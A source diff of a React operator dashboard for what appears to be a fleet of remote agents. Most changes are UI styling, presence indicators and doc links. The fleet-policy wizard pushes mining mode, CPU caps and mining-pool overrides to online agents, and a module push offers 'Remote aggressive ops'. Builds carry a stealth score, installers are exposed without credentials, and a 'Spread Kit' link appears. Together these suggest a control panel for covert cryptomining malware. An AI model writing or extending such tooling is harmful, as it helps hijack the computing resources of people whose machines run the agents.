value={poolPort || ''}
onChange={(e) => setPoolPort(parseInt(e.target.value, 10) || 0)}
/>
</div>
</div>
<div className="fleet-policy-step-actions">
<button type="button" className="btn btn-outline" onClick={() => setWizardStep(1)}>
Back
</button>
<button type="button" className="btn btn-primary" onClick={() => setWizardStep(3)}>
Next Review
</button>
</div>
</div>
)}
{wizardStep === 3 && (
<div className="fleet-policy-step-panel operator-interactive">
<h3 className="fleet-policy-step-title">Step 3 Confirm push</h3>
<div className="fleet-policy-review">
<p>
<strong>Target:</strong> {targetLabel}
</p>
<p>
<strong>Mining:</strong> {miningMode}
{miningMode === 'scheduled' ? ` · ${scheduleStart}${scheduleEnd}` : ''}
</p>
<p>
<strong>CPU cap:</strong> {maxCpu}%
</p>
<p>
<strong>Pool override:</strong>{' '}
{poolHost.trim() ? `${poolHost.trim()}${poolPort > 0 ? `:${poolPort}` : ''}` : 'none (keep baked)'}
</p>
</div>
<div className="fleet-policy-step-actions">
<button type="button" className="btn btn-outline" onClick={() => setWizardStep(2)}>
Back
</button>
<button
type="button"
className="btn btn-primary"
onClick={() => void handlePushPolicy()}
disabled={pushingPolicy || !targetReady}
>
{pushingPolicy ? 'Pushing…' : 'Confirm & push policy'}
</button>
</div>
</div>
)}
{wizardStep === 4 && (
<div className="fleet-policy-step-panel operator-interactive" aria-live="polite">
<h3 className="fleet-policy-step-title">Step 4 Live acknowledgements</h3>
<div className="fleet-policy-ack-banner">
<span className="fleet-policy-ack-count font-display">{ackCount}</span>
<span className="fleet-policy-ack-label">
agent{ackCount === 1 ? '' : 's'} acknowledged
{expectedSent > 0 ? ` · ${expectedSent} dispatched` : ''}
</span>
</div>
{pushId && <p className="form-hint mono-sm">push_id: {pushId}</p>}
{policyMsg && <p className="form-hint">{policyMsg}</p>}
<div className="fleet-policy-step-actions">
<button type="button" className="btn btn-outline" onClick={resetWizard}>
Push another policy
</button>
</div>
</div>
)}
</NeonCard>
<NeonCard accent="magenta" className="settings-section fleet-module-deck operator-deck-card operator-interactive">
<h2 className="font-display">Push Module to Fleet</h2>
<p className="section-desc">
Stage signed feature packs from <code className="mono-sm">data/modules/</code> agents fetch via{' '}
<code className="mono-sm">GET /api/v1/agent/module/&#123;name&#125;</code> and enable flags without a full
re-forge. Uses the same target picker as Live Fleet Policy above.
</p>
<div className="form-row">
<div className="form-group">
<label className="label" htmlFor="fleet-target-mode-module">
Target
</label>
<select
id="fleet-target-mode-module"
className="input"
value={targetMode}
onChange={(e) => setTargetMode(e.target.value as TargetMode)}
>
<option value="all">All online ({onlineCount})</option>
<option value="group">Fleet group</option>
</select>
</div>
{targetMode === 'group' && (
<div className="form-group">
<label className="label" htmlFor="fleet-group-module">
Group
</label>
<select id="fleet-group-module" className="input" value={groupId} onChange={(e) => setGroupId(e.target.value)}>
<option value="">Select group</option>
{groups.map((g) => (
<option key={g.id} value={g.id}>
{g.name} ({g.agentIds.length})
</option>
))}
</select>
</div>
)}
</div>
<div className="form-row">
<div className="form-group">
<label className="label" htmlFor="fleet-module">
Module pack
</label>
<select
id="fleet-module"
className="input"
value={selectedModule}
onChange={(e) => setSelectedModule(e.target.value)}
>
{(modules.length ? modules : [{ name: 'crucible_ops', description: 'Remote aggressive ops' }]).map(
(m) => (
<option key={m.name} value={m.name}>
{m.name} {m.description || ('version' in m ? m.version : '')}
</option>
),
)}
</select>
</div>
</div>
<button type="button" className="btn btn-outline" onClick={handlePushModule} disabled={pushingModule}>
{pushingModule ? 'Pushing…' : 'Push module'}
</button>
{moduleMsg && <p className="form-hint" style={{ marginTop: '0.5rem' }}>{moduleMsg}</p>}
</NeonCard>
</>
);
}

View File

@@ -1,5 +1,6 @@
import { useEffect } from 'react';
import type { BuildResponse } from '../../types';
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
import { useSound } from '../../context/SoundContext';
import DownloadButton from '../DownloadButton';
import './ForgeDispenseReveal.css';
@@ -20,6 +21,7 @@ function dnaBars(fingerprint?: string): number[] {
}
export default function ForgeDispenseReveal({ result, onClose }: Props) {
useModalAmbientDuck(true);
const { play } = useSound();
const score = result.stealth_score ?? 0;
const bars = dnaBars(result.binary_fingerprint);

View File

@@ -15,7 +15,7 @@
0 4px 18px rgba(0, 0, 0, 0.55),
0 0 1px rgba(0, 245, 255, 0.15);
pointer-events: auto;
opacity: 0.72;
opacity: var(--deck-ambient-ui-opacity, 0.72);
transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
}

View File

@@ -1,13 +1,24 @@
import { useEffect } from 'react';
import { useLocation } from 'react-router-dom';
import { useAmbientMusic } from '../context/AmbientMusicContext';
import { resolvePageAmbientIntensity } from '../audio/ambientMusic';
import './GlobalMusicPlayer.css';
export default function GlobalMusicPlayer() {
const { enabled, playing, volume, setVolume, togglePlay } = useAmbientMusic();
const { enabled, playing, volume, setVolume, togglePlay, setPageIntensity, pageIntensity } = useAmbientMusic();
const location = useLocation();
const routeIntensity = resolvePageAmbientIntensity(location.pathname);
const isDim = routeIntensity < 0.5;
useEffect(() => {
setPageIntensity(routeIntensity);
}, [routeIntensity, setPageIntensity]);
return (
<div
className="global-music-player"
className={`global-music-player${isDim ? ' global-music-player--ambient-dim' : ''}`}
data-sfx="off"
data-ambient-intensity={pageIntensity.toFixed(2)}
role="region"
aria-label="Background music controls"
>

View File

@@ -96,3 +96,22 @@
color: var(--text-secondary);
line-height: 1.5;
}
.help-tip-doc-link {
display: inline-block;
margin-top: 0.45rem;
font-size: 0.72rem;
font-weight: 600;
color: var(--neon-amber);
text-decoration: none;
letter-spacing: 0.02em;
}
.help-tip-doc-link:hover {
color: var(--neon-cyan);
text-decoration: underline;
}
.help-tip-popup .help-tip-doc-link {
margin-top: 0.5rem;
}

View File

@@ -1,5 +1,6 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { createPortal } from 'react-dom';
import { docAnchorForField } from '../help/docAnchors';
import { FIELD_HELP } from '../help/settingHelp';
import './HelpTip.css';
@@ -8,8 +9,23 @@ interface HelpTipProps {
label?: string;
}
function DocReadMoreLink({ href }: { href: string }) {
return (
<a
href={href}
className="help-tip-doc-link"
target="_blank"
rel="noopener noreferrer"
onClick={(e) => e.stopPropagation()}
>
Read more
</a>
);
}
export function HelpTip({ field, label }: HelpTipProps) {
const text = FIELD_HELP[field];
const docAnchor = docAnchorForField(field);
const triggerRef = useRef<HTMLButtonElement>(null);
const popupRef = useRef<HTMLDivElement>(null);
const [open, setOpen] = useState(false);
@@ -107,6 +123,7 @@ export function HelpTip({ field, label }: HelpTipProps) {
onMouseLeave={hide}
>
{text}
{docAnchor && <DocReadMoreLink href={docAnchor} />}
</div>,
document.body,
)}
@@ -114,7 +131,9 @@ export function HelpTip({ field, label }: HelpTipProps) {
);
}
/** @deprecated Use HelpTip on the label instead — hints are shown on ? hover/click only. */
export function FieldHint(_props: { field: string }) {
return null;
/** Inline doc link below a field when a wiki anchor exists. */
export function FieldHint({ field }: { field: string }) {
const docAnchor = docAnchorForField(field);
if (!docAnchor) return null;
return <DocReadMoreLink href={docAnchor} />;
}

View File

@@ -137,6 +137,24 @@
text-decoration: none;
}
.nav-item--docs {
margin-top: 0.35rem;
border: 1px solid rgba(0, 232, 245, 0.22);
background: linear-gradient(90deg, rgba(0, 232, 245, 0.06), transparent);
text-decoration: none;
}
.nav-item--docs:hover {
background: linear-gradient(90deg, rgba(0, 232, 245, 0.14), rgba(168, 62, 240, 0.06));
border-color: rgba(0, 232, 245, 0.45);
box-shadow: 0 0 16px rgba(0, 232, 245, 0.12);
}
.mobile-more-link--docs {
border: 1px solid rgba(0, 232, 245, 0.25);
background: rgba(0, 232, 245, 0.06);
}
.nav-item.active {
background: linear-gradient(90deg, rgba(0, 245, 255, 0.12), transparent);
color: var(--neon-cyan);
@@ -169,6 +187,23 @@
border-radius: 0 2px 2px 0;
}
.nav-item--mission.active {
background: linear-gradient(90deg, rgba(255, 140, 58, 0.18), transparent);
color: #ff8c3a;
border-color: rgba(255, 140, 58, 0.45);
box-shadow: inset 0 0 24px rgba(255, 140, 58, 0.12);
}
.nav-item--mission:hover {
color: #ffb366;
border-color: rgba(255, 140, 58, 0.35);
}
.nav-glow--mission {
background: #ff8c3a;
box-shadow: 0 0 14px #ff8c3a, 0 0 28px rgba(255, 140, 58, 0.45);
}
/* ── Matrix rain ──────────────────────────────── */
.matrix-rain-wrap {
/* Flex-grow to fill all space between nav and footer */

View File

@@ -11,30 +11,50 @@ import SacredGeometryLayer from '../Visual/sacredGeometry/SacredGeometryLayer';
import { SacredMotif } from '../Visual/sacredGeometry/motifs';
import SetupBanner from '../SetupBanner';
import { getSetupStatus } from '../../help/setupStatus';
import { resolvePageWeather } from '../../help/pageWeather';
import { api } from '../../api/client';
import { usePresence } from '../../context/PresenceContext';
import ComradeAvatar from '../Presence/ComradeAvatar';
import type { ServerConfig } from '../../types';
import '../Presence/Presence.css';
import './Layout.css';
import './MobileNav.css';
import '../../styles/operatorDeck.css';
interface LayoutProps {
children: ReactNode;
}
function operatorDeckId(pathname: string): string {
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
if (path.startsWith('/mission-deck')) return 'mission-deck';
if (path.startsWith('/forge') || path.startsWith('/builder')) return 'forge';
if (path.startsWith('/crucible')) return 'crucible';
if (path.startsWith('/emberwake') || path.startsWith('/spread')) return 'emberwake';
if (path.startsWith('/agents')) return 'fleet';
if (path.startsWith('/builds')) return 'builds';
if (path.startsWith('/settings')) return 'settings';
if (path.startsWith('/pathtracer')) return 'pathtracer';
return 'dashboard';
}
const NAV = [
{ to: '/dashboard', label: 'Command Deck', icon: 'deck' },
{ to: '/agents', label: 'Fleet Roster', icon: 'fleet' },
{ to: '/crucible', label: 'Crucible', icon: 'crucible' },
{ to: '/forge', label: 'Forge', icon: 'forge' },
{ to: '/mission-deck', label: 'Mission Deck', icon: 'mission', glow: true },
{ to: '/builds', label: 'Builds', icon: 'builds' },
{ to: '/emberwake', label: 'Emberwake', icon: 'ember' },
{ to: '/guide', label: 'Field Guide', icon: 'guide' },
{ to: '/settings', label: 'Calibrate', icon: 'gear' },
{ to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
] as const;
const DOCS_HREF = '/docs/';
/** Primary tabs on iPhone bottom bar */
const MOBILE_PRIMARY = NAV.slice(0, 4);
/** Builds, Guide, Calibrate, Path Tracer — “More” sheet */
/** Builds, Calibrate, Path Tracer — “More” sheet */
const MOBILE_MORE = NAV.slice(4);
function NavIcon({ type }: { type: string }) {
@@ -60,6 +80,12 @@ function NavIcon({ type }: { type: string }) {
<path d="M8 16l-2 4 4-2" />
</svg>
);
case 'mission':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<path d="M13 2L3 14h8l-1 8 10-12h-8l1-8z" />
</svg>
);
case 'builds':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -69,14 +95,6 @@ function NavIcon({ type }: { type: string }) {
<path d="M7 4.5h10M7 10.5h10M7 16.5h10" strokeOpacity="0.35" />
</svg>
);
case 'guide':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<path d="M4 19.5A2.5 2.5 0 016.5 17H20" />
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 014 19.5v-15A2.5 2.5 0 016.5 2z" />
<path d="M8 7h8M8 11h6" />
</svg>
);
case 'crucible':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -103,6 +121,14 @@ function NavIcon({ type }: { type: string }) {
<path d="M12 8v4" />
</svg>
);
case 'docs':
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
<path d="M4 19.5A2.5 2.5 0 016.5 17H20" />
<path d="M6.5 2H20v20H6.5A2.5 2.5 0 014 19.5v-15A2.5 2.5 0 016.5 2z" />
<path d="M8 7h8M8 11h6" strokeOpacity="0.55" />
</svg>
);
default:
return (
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
@@ -185,6 +211,7 @@ function MobileTopStats() {
export default function Layout({ children }: LayoutProps) {
const location = useLocation();
const isMobile = useIsMobileLayout();
const { othersOnline, comrades } = usePresence();
const [serverConfig, setServerConfig] = useState<ServerConfig | null>(null);
const [moreOpen, setMoreOpen] = useState(false);
@@ -206,6 +233,7 @@ export default function Layout({ children }: LayoutProps) {
}, [moreOpen]);
const setupStatus = getSetupStatus(serverConfig);
const pageWeather = resolvePageWeather(location.pathname);
const moreActive = MOBILE_MORE.some((item) => location.pathname === item.to);
const mobileShortLabel: Record<string, string> = {
'/dashboard': 'Deck',
@@ -215,9 +243,12 @@ export default function Layout({ children }: LayoutProps) {
};
return (
<div className={`layout${isMobile ? ' layout--mobile' : ''}`}>
<div
className={`layout${isMobile ? ' layout--mobile' : ''}${othersOnline ? ' layout--comrades-online' : ''}`}
data-operator-deck={operatorDeckId(location.pathname)}
>
{!isMobile && <CursorFire />}
<AmbientBackground />
<AmbientBackground weather={pageWeather} />
<SacredGeometryLayer />
<nav className="sidebar sidebar--desktop desktop-only">
<div className="sidebar-header">
@@ -238,15 +269,30 @@ export default function Layout({ children }: LayoutProps) {
<NavLink
key={item.to}
to={item.to}
className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}
className={({ isActive }) =>
`nav-item${'glow' in item && item.glow ? ' nav-item--mission' : ''} ${isActive ? 'active' : ''}`
}
>
<span className="nav-icon">
<NavIcon type={item.icon} />
</span>
<span className="nav-label">{item.label}</span>
{location.pathname === item.to && <span className="nav-glow" />}
{location.pathname === item.to && (
<span className={`nav-glow${'glow' in item && item.glow ? ' nav-glow--mission' : ''}`} />
)}
</NavLink>
))}
<a
href={DOCS_HREF}
target="_blank"
rel="noopener noreferrer"
className="nav-item nav-item--docs"
>
<span className="nav-icon">
<NavIcon type="docs" />
</span>
<span className="nav-label">Documentation</span>
</a>
</div>
<div className="sidebar-sacred-sigil" aria-hidden>
@@ -258,6 +304,18 @@ export default function Layout({ children }: LayoutProps) {
<div className="sidebar-footer">
<FleetReadout />
{othersOnline && (
<div className="sidebar-comrades">
<div className="sidebar-comrades-avatars">
{comrades.slice(0, 4).map((c) => (
<ComradeAvatar key={c.user} user={c.user} size="sm" />
))}
</div>
<span className="sidebar-comrades-label">
{comrades.length} comrade{comrades.length === 1 ? '' : 's'} online
</span>
</div>
)}
<div className="sidebar-sig font-tech">
<span className="sig-love">made with <span className="sig-heart"></span> drjones</span>
<span className="sig-ver">v0.0.1</span>
@@ -300,6 +358,16 @@ export default function Layout({ children }: LayoutProps) {
{item.label}
</NavLink>
))}
<a
href={DOCS_HREF}
target="_blank"
rel="noopener noreferrer"
className="mobile-more-link mobile-more-link--docs"
onClick={() => setMoreOpen(false)}
>
<NavIcon type="docs" />
Documentation
</a>
</div>
<nav className="mobile-bottom-nav" aria-label="Main navigation">
{MOBILE_PRIMARY.map((item) => (

View File

@@ -0,0 +1,48 @@
import { usePresence } from '../../context/PresenceContext';
import { presenceActivityLine, presencePageLabel } from '../../help/presencePages';
import ComradeAvatar from './ComradeAvatar';
import './Presence.css';
interface AlsoHereProps {
page: string;
}
export default function AlsoHere({ page }: AlsoHereProps) {
const { comradesHere } = usePresence();
const here = comradesHere(page);
if (here.length === 0) return null;
const label = presencePageLabel(page);
const count = here.length;
return (
<div className="also-here-banner" role="status">
<div className="also-here-beacon" aria-hidden>
<span className="also-here-pulse-ring" />
<span className="also-here-dot" />
</div>
<div className="also-here-body">
<div className="also-here-avatars" aria-label={`${count} comrade${count === 1 ? '' : 's'} in ${label}`}>
{here.map((c) => (
<ComradeAvatar
key={c.user}
user={c.user}
size="sm"
title={presenceActivityLine(c.user, c.page)}
/>
))}
</div>
<div className="also-here-text">
<span className="also-here-headline">
{count} comrade{count === 1 ? '' : 's'} in the war room
</span>
<span className="also-here-detail">
Also here in <strong className="also-here-zone">{label}</strong>
{': '}
<span className="also-here-names">{here.map((c) => c.user).join(', ')}</span>
</span>
</div>
</div>
</div>
);
}

View File

@@ -0,0 +1,24 @@
import './Presence.css';
export function comradeAvatarInitial(user: string): string {
const ch = user.trim().charAt(0);
return ch ? ch.toUpperCase() : '?';
}
interface ComradeAvatarProps {
user: string;
size?: 'sm' | 'md';
title?: string;
}
export default function ComradeAvatar({ user, size = 'md', title }: ComradeAvatarProps) {
return (
<span
className={`comrade-avatar comrade-avatar--${size}`}
title={title}
aria-label={title ?? user}
>
{comradeAvatarInitial(user)}
</span>
);
}

View File

@@ -0,0 +1,38 @@
import { usePresence } from '../../context/PresenceContext';
import { presenceActivityLine, presencePageLabel } from '../../help/presencePages';
import ComradeAvatar from './ComradeAvatar';
import './Presence.css';
export default function ComradeIndicators() {
const { comrades } = usePresence();
if (comrades.length === 0) return null;
return (
<div className="comrade-presence" aria-label="Online comrades">
<span className="comrade-presence-beacon" aria-hidden>
<span className="comrade-presence-ring" />
<span className="comrade-presence-core" />
</span>
<span className="comrade-presence-label">COMRADES</span>
<div className="comrade-avatar-list">
{comrades.map((c) => (
<ComradeAvatar
key={c.user}
user={c.user}
title={presenceActivityLine(c.user, c.page)}
/>
))}
</div>
<span className="comrade-activity-text">
{comrades.map((c, i) => (
<span key={c.user} className="comrade-activity-line">
{i > 0 && <span className="comrade-activity-sep"> · </span>}
<strong className="comrade-activity-user">{c.user}</strong>
<span className="comrade-activity-verb"> is in </span>
<span className="comrade-activity-page">{presencePageLabel(c.page)}</span>
</span>
))}
</span>
</div>
);
}

View File

@@ -0,0 +1,396 @@
/* ── Status bar: soft pulse when comrades online ── */
@keyframes comrade-status-pulse {
0%,
100% {
box-shadow:
0 4px 24px rgba(0, 0, 0, 0.25),
0 0 12px rgba(61, 214, 198, 0.08),
inset 0 -1px 0 rgba(61, 214, 198, 0.15);
border-bottom-color: rgba(61, 214, 198, 0.18);
}
50% {
box-shadow:
0 4px 28px rgba(0, 0, 0, 0.3),
0 0 28px rgba(61, 214, 198, 0.22),
inset 0 -1px 0 rgba(61, 214, 198, 0.35);
border-bottom-color: rgba(61, 214, 198, 0.38);
}
}
.system-status-bar--comrades-online {
animation: comrade-status-pulse 3.5s ease-in-out infinite;
border-bottom: 1px solid rgba(61, 214, 198, 0.18);
}
/* ── Comrade indicators (status bar) ── */
.comrade-presence {
display: flex;
align-items: center;
gap: 0.5rem;
margin-left: auto;
padding: 0.15rem 0.5rem;
border-radius: 999px;
border: 1px solid rgba(61, 214, 198, 0.2);
background: linear-gradient(135deg, rgba(61, 214, 198, 0.06), rgba(8, 6, 4, 0.5));
}
.comrade-presence-beacon {
position: relative;
width: 10px;
height: 10px;
flex-shrink: 0;
}
.comrade-presence-core {
position: absolute;
inset: 2px;
border-radius: 50%;
background: var(--neon-green);
box-shadow: 0 0 8px var(--neon-green);
}
.comrade-presence-ring {
position: absolute;
inset: -2px;
border-radius: 50%;
border: 1px solid rgba(61, 214, 198, 0.5);
animation: comrade-beacon-ring 2.4s ease-out infinite;
}
@keyframes comrade-beacon-ring {
0% {
transform: scale(0.85);
opacity: 0.9;
}
70%,
100% {
transform: scale(1.6);
opacity: 0;
}
}
.comrade-presence-label {
color: var(--text-muted);
font-size: 0.68rem;
letter-spacing: 0.08em;
}
.comrade-activity-text {
color: var(--neon-cyan);
font-size: 0.68rem;
opacity: 0.95;
max-width: 28rem;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.comrade-activity-user {
color: var(--text-primary);
font-weight: 600;
}
.comrade-activity-verb {
color: var(--text-muted);
}
.comrade-activity-page {
color: var(--neon-cyan);
font-family: var(--font-tech);
letter-spacing: 0.03em;
}
.comrade-activity-sep {
color: rgba(61, 214, 198, 0.45);
}
.comrade-avatar-list {
display: flex;
align-items: center;
gap: 0.35rem;
}
.comrade-avatar {
display: inline-flex;
align-items: center;
justify-content: center;
min-width: 1.5rem;
height: 1.5rem;
padding: 0 0.35rem;
border-radius: 999px;
border: 1px solid rgba(61, 214, 198, 0.35);
background: rgba(8, 20, 18, 0.9);
color: var(--neon-cyan);
font-size: 0.62rem;
text-transform: uppercase;
letter-spacing: 0.04em;
position: relative;
box-shadow: 0 0 10px rgba(61, 214, 198, 0.12);
}
.comrade-avatar--sm {
min-width: 1.25rem;
height: 1.25rem;
font-size: 0.55rem;
padding: 0 0.25rem;
}
.comrade-avatar::after {
content: '';
position: absolute;
right: -1px;
bottom: -1px;
width: 7px;
height: 7px;
border-radius: 50%;
background: var(--neon-green);
box-shadow: 0 0 6px var(--neon-green);
border: 1px solid rgba(8, 6, 4, 0.9);
animation: comrade-online-dot 2s ease-in-out infinite;
}
.comrade-avatar--sm::after {
width: 6px;
height: 6px;
}
@keyframes comrade-online-dot {
0%,
100% {
box-shadow: 0 0 4px var(--neon-green);
}
50% {
box-shadow: 0 0 10px var(--neon-green);
}
}
.comrade-avatar[title] {
cursor: default;
}
/* ── "Also here" war-room banners (Crucible, Emberwake) ── */
.also-here-banner {
display: flex;
align-items: flex-start;
gap: 0.65rem;
margin: 0 0 0.75rem;
padding: 0.55rem 0.85rem;
border-radius: 8px;
border: 1px solid rgba(61, 214, 198, 0.3);
background: linear-gradient(135deg, rgba(61, 214, 198, 0.1), rgba(8, 6, 4, 0.55));
font-size: 0.78rem;
color: var(--text-secondary);
box-shadow: 0 0 20px rgba(61, 214, 198, 0.06);
animation: also-here-glow 4s ease-in-out infinite;
}
@keyframes also-here-glow {
0%,
100% {
box-shadow: 0 0 16px rgba(61, 214, 198, 0.05);
}
50% {
box-shadow: 0 0 24px rgba(61, 214, 198, 0.14);
}
}
.also-here-beacon {
position: relative;
width: 12px;
height: 12px;
flex-shrink: 0;
margin-top: 0.15rem;
}
.also-here-dot {
position: absolute;
inset: 2px;
border-radius: 50%;
background: var(--neon-green);
box-shadow: 0 0 8px var(--neon-green);
}
.also-here-pulse-ring {
position: absolute;
inset: -3px;
border-radius: 50%;
border: 1px solid rgba(61, 214, 198, 0.55);
animation: comrade-beacon-ring 2.4s ease-out infinite;
}
.also-here-body {
display: flex;
align-items: center;
gap: 0.65rem;
flex-wrap: wrap;
min-width: 0;
}
.also-here-avatars {
display: flex;
align-items: center;
gap: 0.3rem;
flex-shrink: 0;
}
.also-here-text {
display: flex;
flex-direction: column;
gap: 0.1rem;
min-width: 0;
}
.also-here-headline {
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.06em;
text-transform: uppercase;
color: var(--neon-cyan);
}
.also-here-detail {
font-size: 0.76rem;
}
.also-here-zone {
color: var(--neon-cyan);
font-family: var(--font-tech);
letter-spacing: 0.03em;
}
.also-here-names {
color: var(--text-primary);
font-family: var(--font-tech);
letter-spacing: 0.03em;
}
/* ── Emberwake notes typing indicator ── */
.emberwake-typing-banner {
display: flex;
align-items: center;
gap: 0.55rem;
margin-bottom: 0.5rem;
padding: 0.45rem 0.75rem;
border-radius: 8px;
border: 1px solid rgba(255, 107, 44, 0.4);
background: linear-gradient(90deg, rgba(255, 107, 44, 0.12), rgba(8, 6, 4, 0.45));
font-size: 0.78rem;
color: var(--text-secondary);
animation: emberwake-typing-pulse 2s ease-in-out infinite;
box-shadow: 0 0 18px rgba(255, 107, 44, 0.1);
}
.emberwake-typing-body {
display: flex;
align-items: center;
gap: 0.35rem;
flex-wrap: wrap;
}
.emberwake-typing-cursor {
display: inline-block;
width: 2px;
height: 0.9em;
background: var(--neon-amber);
margin-left: 2px;
animation: emberwake-cursor-blink 1s step-end infinite;
}
.typing-dots {
display: inline-flex;
align-items: center;
gap: 3px;
margin-left: 4px;
vertical-align: middle;
}
.typing-dots span {
width: 4px;
height: 4px;
border-radius: 50%;
background: var(--neon-amber);
animation: typing-dot-bounce 1.2s ease-in-out infinite;
}
.typing-dots span:nth-child(2) {
animation-delay: 0.15s;
}
.typing-dots span:nth-child(3) {
animation-delay: 0.3s;
}
@keyframes typing-dot-bounce {
0%,
60%,
100% {
transform: translateY(0);
opacity: 0.45;
}
30% {
transform: translateY(-3px);
opacity: 1;
}
}
@keyframes emberwake-typing-pulse {
0%,
100% {
opacity: 0.88;
box-shadow: 0 0 12px rgba(255, 107, 44, 0.08);
}
50% {
opacity: 1;
box-shadow: 0 0 22px rgba(255, 107, 44, 0.18);
}
}
@keyframes emberwake-cursor-blink {
0%,
100% {
opacity: 1;
}
50% {
opacity: 0;
}
}
/* ── Layout sidebar glow when comrades online ── */
@keyframes sidebar-comrade-glow {
0%,
100% {
box-shadow: inset -1px 0 0 rgba(61, 214, 198, 0.12), 4px 0 20px rgba(61, 214, 198, 0.04);
}
50% {
box-shadow: inset -1px 0 0 rgba(61, 214, 198, 0.28), 4px 0 32px rgba(61, 214, 198, 0.1);
}
}
.layout--comrades-online .sidebar--desktop {
animation: sidebar-comrade-glow 4s ease-in-out infinite;
}
.sidebar-comrades {
display: flex;
align-items: center;
gap: 0.4rem;
margin: 0.35rem 0 0;
padding: 0.3rem 0.4rem;
border-radius: 6px;
border: 1px solid rgba(61, 214, 198, 0.18);
background: rgba(61, 214, 198, 0.04);
}
.sidebar-comrades-avatars {
display: flex;
align-items: center;
gap: 0.2rem;
}
.sidebar-comrades-label {
font-size: 0.62rem;
color: var(--neon-cyan);
font-family: var(--font-tech);
letter-spacing: 0.04em;
opacity: 0.9;
}

View File

@@ -1,5 +1,5 @@
import { useEffect, useState, type ReactNode } from 'react';
import type { PublicBuildDTO } from '../types';
import type { PublicBuildDTO, PublicBuildsResponse } from '../types';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
@@ -12,6 +12,7 @@ import {
} from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
import DocsEntryCard from './DocsEntryCard';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
@@ -24,6 +25,8 @@ export default function SessionGate({ children }: { children: ReactNode }) {
const [sessionExpired, setSessionExpired] = useState(false);
const [publicOpen, setPublicOpen] = useState(false);
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
const [publicBuildsEnabled, setPublicBuildsEnabled] = useState(false);
const [publicLatestN, setPublicLatestN] = useState(3);
const [publicLoading, setPublicLoading] = useState(false);
const [publicErr, setPublicErr] = useState('');
@@ -112,8 +115,10 @@ export default function SessionGate({ children }: { children: ReactNode }) {
try {
const res = await fetch('/api/v1/public/builds');
if (!res.ok) throw new Error('unavailable');
const data = (await res.json()) as { builds: PublicBuildDTO[] };
const data = (await res.json()) as PublicBuildsResponse;
setPublicBuilds(data.builds ?? []);
setPublicBuildsEnabled(!!data.public_builds_enabled);
setPublicLatestN(data.latest_n ?? 3);
setPublicOpen(true);
} catch {
setPublicErr('Public builds are not available yet — forge an installer first.');
@@ -163,20 +168,32 @@ export default function SessionGate({ children }: { children: ReactNode }) {
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
<div className="session-public-drawer" style={{ marginTop: '1.25rem', width: '100%' }}>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ width: '100%' }}
onClick={() => void loadPublicBuilds()}
disabled={publicLoading}
>
{publicLoading ? 'Loading…' : 'Public builds (no login)'}
</button>
<DocsEntryCard variant="featured" />
<div className="session-public-drawer" style={{ marginTop: '1rem', width: '100%' }}>
<div style={{ display: 'flex', gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline btn-sm"
style={{ flex: 1, minWidth: '10rem' }}
onClick={() => void loadPublicBuilds()}
disabled={publicLoading}
>
{publicLoading ? 'Loading…' : 'Public builds (no login)'}
</button>
<a
href="/spread/"
className="btn btn-outline btn-sm"
style={{ flex: 1, minWidth: '10rem', textAlign: 'center' }}
>
Spread Kit
</a>
</div>
{publicOpen && (
<div className="card" style={{ marginTop: '0.75rem', textAlign: 'left' }}>
<p className="form-hint" style={{ marginTop: 0 }}>
Pinned + latest forged installers no credentials required.
{publicBuildsEnabled
? 'All forged installers exposed — no credentials required.'
: `Pinned + marked-public + latest ${publicLatestN} forged installers — no credentials required.`}
</p>
{publicErr && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{publicErr}</p>}
{publicBuilds.length === 0 && !publicErr && (

View File

@@ -1,6 +1,8 @@
import { useEffect, useState } from 'react';
import { Link } from 'react-router-dom';
import { api } from '../../api/client';
import ComradeIndicators from '../Presence/ComradeIndicators';
import { usePresence } from '../../context/PresenceContext';
import '../Presence/Presence.css';
import './VisualComponents.css';
export default function SystemStatusBar() {
@@ -8,6 +10,7 @@ export default function SystemStatusBar() {
const [agentTotal, setAgentTotal] = useState(0);
const [agentOnline, setAgentOnline] = useState(0);
const [buildCount, setBuildCount] = useState(0);
const { othersOnline } = usePresence();
useEffect(() => {
const poll = async () => {
@@ -38,7 +41,7 @@ export default function SystemStatusBar() {
}, []);
return (
<div className="system-status-bar">
<div className={`system-status-bar${othersOnline ? ' system-status-bar--comrades-online' : ''}`}>
<span className={`status-pill ${serverOk ? 'ok' : 'bad'}`}>
<span className="status-pill-dot" />
SERVER {serverOk ? 'UP' : 'DOWN'}
@@ -51,9 +54,16 @@ export default function SystemStatusBar() {
<span className="status-pill-dot" />
{buildCount} BUILD{buildCount === 1 ? '' : 'S'}
</span>
<Link to="/guide" className="status-pill" style={{ marginLeft: 'auto', textDecoration: 'none', color: 'var(--neon-cyan)' }}>
📖 GUIDE
</Link>
<ComradeIndicators />
<a
href="/docs/"
target="_blank"
rel="noopener noreferrer"
className="status-pill"
style={{ textDecoration: 'none', color: 'var(--neon-cyan)' }}
>
📖 DOCS
</a>
</div>
);
}

View File

@@ -0,0 +1,176 @@
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
